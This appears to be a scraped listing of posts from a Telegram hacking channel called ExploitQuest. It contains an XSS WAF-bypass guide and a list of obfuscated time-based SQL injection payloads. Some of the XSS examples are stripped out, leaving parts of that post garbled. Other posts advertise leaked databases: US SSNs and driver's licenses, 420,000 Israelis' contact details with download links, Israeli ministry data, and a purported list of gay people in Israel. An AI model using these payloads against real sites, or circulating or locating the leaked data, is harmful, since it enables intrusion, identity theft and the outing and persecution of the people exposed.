ExploitQuest

\n\nIt can be encoded:\n\n%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E\n\nHTML Entity Encoding:\nSpecial characters can be converted to HTML encoding:\n\n<script>alert('XSS')</script>\n\n2.Using Comments\n\nSome WAFs may ignore input if the code is split via comments.\n\nExamples:\n\nXSS using comments to split code:\n\nipt>alert('XSS')ipt>\n\n3. Case Variation\n\nWAF can be case sensitive. You can change the case to make the code undetectable.\n\nExamples:\n\n\n\n4.Use Alternative Event Handlers\n\nEvents in HTML that may not be strictly checked by WAF, such as onfocus or onmouseover, can be exploited.\n\nExample:\n\n\n\nMay be replaced by:\n\n\n\n5.Bypass WAF using Adding Padding Characters\n\nYou can add spaces or insignificant characters inside the malicious code to make it undetectable.\n\nExamples:\n\nalert('XSS')\n\n6.Use eval(), setTimeout(), or setInterval()\n\nSome WAFs scan for obvious code like alert() or document.write(). By using functions like eval() or setTimeout(), you can make malicious code less obvious.\n\nExample:\n\n\n\n7.JavaScript Coding Using String.fromCharCode\n\nYou can use the String.fromCharCode function to generate JavaScript code dynamically.\n\nExample:\n\n\n\nThis will print \"XSS\".\n\n8.Using DOM-based XSS techniques\n\nIn some cases, WAF can be bypassed using techniques that rely on XSS in the DOM only, where the code is injected directly into the browser without having to send the request to the server.\n\nExample:\n\nvar input = document.createElement('input');\ninput.setAttribute('onfocus', 'alert(\"XSS\")');\ndocument.body.appendChild(input);\ninput.focus();\n\n\n9.Hiding code inside unexpected media\n\nYou can embed XSS code inside non-traditional HTML elements, such as SVG files or titles.\n\nExample:\n\n\n\n10.Use complex conditional statements or mathematical functions\n\nYou can use conditional statements or mathematical operations to make malicious code less obvious to a WAF.\n\nExample:\n\n\n\n11.Using JavaScript: In URL\n\nYou can try to insert JavaScript code inside a URL using the javascript: protocol.\n\nExample:\n\nClick me\n\n12. Exploiting weak or non-comprehensive filters\n\nSome WAFs may not scan all input types or fields. You can try to inject malicious code in unexpected places such as hidden fields or metadata.\n\nExample:\n\nInjecting malicious code into an unexpected field:\n\nalert('XSS')\">\n\n\nConclusion:\nBypassing WAF in XSS attacks requires experimenting with different techniques and using innovative ways to make the malicious code undetectable. Protection from these attacks depends on constantly updating WAF mechanisms and following good security practices such as input filtering and output encoding.\n\n\n#xss #waf","datePublished":"2024-09-13T00:25:15Z","dateModified":"2024-09-13T00:25:15Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":785},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":9},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":23}]}},{"@type":"ListItem","position":3,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/21","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/21","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/21","headline":"Bypass waf firewall To increase the likelihood of a successful injection test using these random payloads, yo…","articleBody":"Bypass waf firewall\n\nTo increase the likelihood of a successful injection test using these random payloads, you can follow some approaches and techniques that vary the payloads based on how the database servers interpret the queries.\n\n\nUsing Substitutions in Keywords\n\nYou can substitute words like or, xor, and || to disable security filters.\nExample:\n\nor sleep(4) ➔ oR sLeEP(4) or xor sleep(4)\n\n. Entering camouflaged spaces and comments\n\nSome filters may ignore comments or spaces. You can add comments like /**/ or use different types of spaces.\nExample:\n\nor sleep(4) ➔ or//sleep(4) or or sLeEp(//4)\n\nusing mathematical expressions\n\nSometimes it can be useful to use mathematical expressions to avoid filters that look for explicit numbers.\nExample:\n\n4 ➔ 6-2 or true+true\n\nChanging the simple formula\n\nThe formula for simple payloads can also be changed.\nExample:\n\nsleep(4) ➔ sleep((4)) or benchmark(4)\n\nMixing multiple payloads in a single request\n\nYou can combine two or more payloads to increase complexity.\nExample:\n\n%27 or sleep(4) -- ➔ %27 oR sLeEP(4) || true+true --\n4|0 or benchmark(4) ➔ (4|0) oR beNCHMark(/**/4)\n\n\nEntering different parentheses\n\nSome databases handle parentheses differently. You can use alternate parentheses to bypass filters.\nExample: \n\nor (sleep(4)) ➔ or %28sleep%2\n84%29\n\nUsing Uncommon Phrases\n\nUsing uncommon or advanced phrases like benchmark instead of sleep may help avoid detection.\nExample:\n\nor sleep(4) ➔ or bench\nmark(4)\n\nLogical Construct Tests\n\nYou can also test loads with logical constructs.\nExample: \n\n\nor sleep(4) ➔ or (sleep(4) && true=true)\n\n\nComplete\nexample:\n\n' oR sLeEP(/**/4) || true+true -- \n\n\nHere are some more random payloads to use in your SQL injection test:\n\n'%27 OR sleep(4) --\n%28%29 XOR sLeEp(4) --\n(4|0) oR beNCHMark(/**/4) --\n' OR 6-2=4 || sleep(4) --\n') OR true+true=sleep(4) --\n%27 oR sLeEp(4) = (true) --\n' xor sLeEP((4)) --\n%27 = (1=(sleep(4))) --\n%28%29 OR beNcHmArk(4) --\n' XOR sleep(/**/4) \n|| -true*4 --\n\n\nCombine some of these payloads:\n\nYou can mix payloads together to make the attack \nmore complex:\n\n\n'%27 OR sleep(4) || (true=true) -- ')\n\nThese payloads randomly diversify attacks that may pass through some filters or protection methods.\n\n#waf #sql","datePublished":"2024-09-11T00:46:57Z","dateModified":"2024-09-11T00:46:57Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":669},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":7},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":15}]}},{"@type":"ListItem","position":4,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/12","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/12","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/12","headline":"ExploitQuest","datePublished":"2023-11-19T19:29:50Z","dateModified":"2023-11-19T19:29:50Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":336},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":9}]}},{"@type":"ListItem","position":5,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/11","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/11","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/11","headline":"150k USA PERSONAL INFO SSN, DOB, drivers_license 150 ألف معلومات شخصية أمريكية SSN، DOB، رخصة القيادة","articleBody":"150k USA PERSONAL INFO SSN, DOB, drivers_license\n\n\n150 ألف معلومات شخصية أمريكية SSN، DOB، رخصة القيادة","datePublished":"2023-11-19T19:28:40Z","dateModified":"2023-11-19T19:28:40Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":326},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":7}]}},{"@type":"ListItem","position":6,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/10","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/10","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/10","headline":"ExploitQuest","datePublished":"2023-10-20T00:21:38Z","dateModified":"2023-10-20T00:21:38Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":887},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":8},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":6}]}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/8","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/8","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/8","headline":"ExploitQuest","datePublished":"2023-10-20T00:12:31Z","dateModified":"2023-10-20T00:12:31Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":831},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/7","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/7","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/7","headline":"قاعدة بيانات وزارة الدفاع الإسرائيلية [ mod.gov.il ]","articleBody":"قاعدة بيانات وزارة الدفاع الإسرائيلية [ mod.gov.il ]","datePublished":"2023-10-20T00:10:24Z","dateModified":"2023-10-20T00:10:24Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":10006},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":6},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":87}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/6","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/6","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/6","headline":"اختراق وزارة البناء والإسكان الإسرائيلية وتسريب جميع قواعد البيانات الخاصة با الوزارة تحميل مباشر http://www.…","articleBody":"اختراق وزارة البناء والإسكان الإسرائيلية وتسريب جميع قواعد البيانات الخاصة با الوزارة \nتحميل مباشر \nhttp://www.mediafire.com/?1rzvahce2v6v3sg","datePublished":"2023-10-17T01:59:21Z","dateModified":"2023-10-17T01:59:21Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1194},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":13},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":21}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/5","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/5","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/5","headline":"اختراق معلومات بيانات 420 الف إسرائيلي تشمل أرقام الهواتف الأسماء الايميلات المعرف تحميل مباشر https://www.me…","articleBody":"اختراق معلومات بيانات 420 الف إسرائيلي \nتشمل\n\nأرقام الهواتف \nالأسماء\nالايميلات\nالمعرف\n\n\nتحميل مباشر \nhttps://www.mediafire.com/file/5300egrsz...d.csv/file","datePublished":"2023-10-17T01:41:08Z","dateModified":"2023-10-17T01:41:08Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":1122},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":27}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/4","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/4","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/4","headline":"Password : https://t.me/egypt_hacker54","articleBody":"Password : https://t.me/egypt_hacker54","datePublished":"2023-10-17T00:57:47Z","dateModified":"2023-10-17T00:57:47Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":3768},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":53}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/3","url":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/3","mainEntityOfPage":"https://telemetr.io/ru/channels/1941018014-exploitquest/posts/3","headline":"المثليو* جنسيا في إسرائي 844,760 تسريب بيانات المثليو*** في اسرائيل جاري التحميل..","articleBody":"المثليو* جنسيا في إسرائي 844,760 \n\nتسريب بيانات المثليو*** في اسرائيل جاري التحميل..","datePublished":"2023-10-16T22:18:35Z","dateModified":"2023-10-16T22:18:35Z","author":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"publisher":{"@type":"Organization","name":"ExploitQuest","url":"https://telemetr.io/ru/channels/1941018014-exploitquest","image":"https://img.tlmtr.io/c/27mjsa/5951799859155683023?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":3722},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":29}]}}]}